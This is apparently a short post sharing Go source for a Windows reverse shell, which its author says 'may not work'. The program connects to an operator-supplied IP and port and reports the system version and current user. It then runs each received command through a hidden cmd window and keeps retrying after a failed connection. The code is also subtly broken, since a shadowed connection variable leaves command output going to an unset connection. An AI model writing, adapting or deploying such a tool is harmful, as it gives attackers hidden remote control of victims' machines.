A simple reverse shell written in Go, may not work.

reverse-shell-windows.go

// Reverse shell in go
package main

import (
	"bufio"
	"flag"
	"fmt"
	"io"
	"net"
	"os"
	"os/exec"
	"strings"
	"sync"
	"syscall"
	"time"
)

var ip string
var port string
var wg sync.WaitGroup
var connection net.Conn

func execCmd(instr string) {
	cmd := exec.Command("cmd", "/C", instr)
	cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}

	out, err := cmd.Output()
	if err == nil {
		connection.Write(out)
	} else {
		io.WriteString(connection, err.Error())
	}
}

func startShell() {
	connection, err := net.Dial("tcp", fmt.Sprintf("%s:%s", ip, port))
	if err != nil {
		println(err.Error())
		time.Sleep(10 * time.Minute)
		wg.Done()
		initShell()
	}

	time.Sleep(1 * time.Second)

	version, _ := exec.Command("cmd", "/C", "ver").Output()
	connection.Write(version)
	io.WriteString(connection, "\n")

	whoami, _ := exec.Command("cmd", "/C", "whoami").Output()
	connection.Write(whoami)
	io.WriteString(connection, "\n")

	for {
		instruction, _ := bufio.NewReader(connection).ReadString('\n')
		command := strings.Fields(instruction)

		switch command[0] {
		case "cd":
			{
				err := os.Chdir(command[1])
				if err != nil {
					io.WriteString(connection, err.Error())
				}
			}
		case "exit":
			{
				connection.Close()
				os.Exit(0)
			}
		default:
			execCmd(instruction)
		}
		execCmd("pwd")
	}
	io.WriteString(connection, "Connection Lost!")
	wg.Done()
}

func initShell() {
	wg.Add(1)
	go startShell()
	wg.Wait()
}

func main() {
	flag.Parse()

	ip = flag.Arg(0)
	port = flag.Arg(1)

	initShell()
}